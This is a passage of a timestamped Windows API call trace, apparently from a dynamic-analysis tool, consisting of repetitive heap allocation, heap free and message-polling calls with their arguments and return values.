hHeap=0xe80000) returned 1 [0132.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.970] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e90 | out: hHeap=0xe80000) returned 1 [0132.970] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.971] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf348 [0132.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0132.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0132.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0132.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0132.971] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0132.971] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.972] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.972] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf348 [0132.972] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0132.972] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.973] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.973] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.973] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.973] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0132.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0132.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0132.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0132.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.974] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0132.974] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.974] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0132.975] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0132.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.975] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0132.975] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.975] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.976] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0132.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0132.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0132.976] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0132.976] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0132.976] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0132.977] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.977] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.977] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.977] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.977] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.978] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.978] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.978] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.978] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.979] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.979] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0132.979] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0132.980] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.980] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.980] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.980] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.981] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0132.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0132.981] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0132.981] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.981] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0132.982] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.982] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.982] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.982] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.983] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0132.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0132.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0132.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.983] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.983] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.983] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.984] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0132.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0132.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0132.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0132.984] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.984] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0132.984] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.984] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0132.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0132.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0132.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0132.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.985] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0132.985] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0132.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0132.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0132.985] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0132.985] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.986] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.986] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0132.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0132.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.986] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.986] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9a80 [0132.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0132.986] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055790 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d4c0 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf318 [0132.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d50 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0132.987] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xca) returned 0xefc430 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2a8 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9da0 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076b50 [0132.987] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076c28 [0132.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0132.988] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2a8 | out: hHeap=0xe80000) returned 1 [0133.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf348 [0133.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0133.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0133.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0133.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9da0 | out: hHeap=0xe80000) returned 1 [0133.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0133.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0133.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d50 | out: hHeap=0xe80000) returned 1 [0133.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0133.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0133.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c210) returned 0x10f01f8 [0133.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0133.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1c210) returned 0x110c410 [0133.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0133.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d4c0 | out: hHeap=0xe80000) returned 1 [0133.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0133.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0133.029] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0133.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10f01f8 | out: hHeap=0xe80000) returned 1 [0133.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.030] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0133.031] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9a80 | out: hHeap=0xe80000) returned 1 [0133.032] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x110c410 | out: hHeap=0xe80000) returned 1 [0133.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.034] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9bc0 [0133.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0133.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf348 [0133.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0133.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0133.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9bc0 | out: hHeap=0xe80000) returned 1 [0133.035] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.035] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.035] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.035] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.036] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.036] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0133.036] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: 